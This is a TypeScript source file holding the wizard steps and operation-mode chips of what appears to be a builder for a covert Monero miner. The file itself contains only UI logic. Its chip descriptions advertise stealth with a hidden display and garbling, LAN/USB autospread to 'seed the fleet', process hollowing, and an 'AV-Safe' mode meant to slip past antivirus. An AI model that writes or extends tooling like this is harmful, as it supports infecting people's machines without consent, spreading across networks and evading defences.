import type { OperationModeId } from './forgeOperationModes';
import type { SpreadProfileId } from './spreadProfiles';

export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];

export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
  mode: 'Mode',
  profile: 'Profile',
  launch: 'Launch',
};

export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';

export interface MissionOperationChipDef {
  id: MissionOperationChip;
  label: string;
  color: string;
  modeId: OperationModeId;
  blurb: string;
}

export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
  {
    id: 'ghost',
    label: 'Ghost',
    color: '#6b8cff',
    modeId: 'ghost_walk',
    blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
  },
  {
    id: 'loud',
    label: 'Loud',
    color: '#ff5c5c',
    modeId: 'open_flame',
    blurb: 'Visible console, logging on — lab testing and debugging',
  },
  {
    id: 'spread',
    label: 'Spread',
    color: '#ff8c3a',
    modeId: 'wildfire',
    blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
  },
  {
    id: 'avsafe',
    label: 'AV-Safe',
    color: '#22d3a8',
    modeId: 'av_safe',
    blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
  },
];

export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
  return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
}

export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
  if (mode === 'av_safe') return 'avsafe';
  if (mode === 'open_flame') return 'loud';
  if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
  return 'ghost';
}

export function wizardStepIndex(step: MissionWizardStep): number {
  return MISSION_WIZARD_STEPS.indexOf(step);
}

export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
  const idx = wizardStepIndex(step);
  if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
  return MISSION_WIZARD_STEPS[idx + 1];
}

export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
  const idx = wizardStepIndex(step);
  if (idx <= 0) return null;
  return MISSION_WIZARD_STEPS[idx - 1];
}

export function canAdvanceWizardStep(
  step: MissionWizardStep,
  chip: MissionOperationChip,
  _spreadProfile: SpreadProfileId | '',
): boolean {
  if (step === 'mode') return !!chip;
  if (step === 'profile') return true;
  return false;
}

export function wizardPillStatus(
  pill: MissionWizardStep,
  current: MissionWizardStep,
): 'pending' | 'active' | 'done' {
  const pillIdx = wizardStepIndex(pill);
  const curIdx = wizardStepIndex(current);
  if (pillIdx < curIdx) return 'done';
  if (pillIdx === curIdx) return 'active';
  return 'pending';
}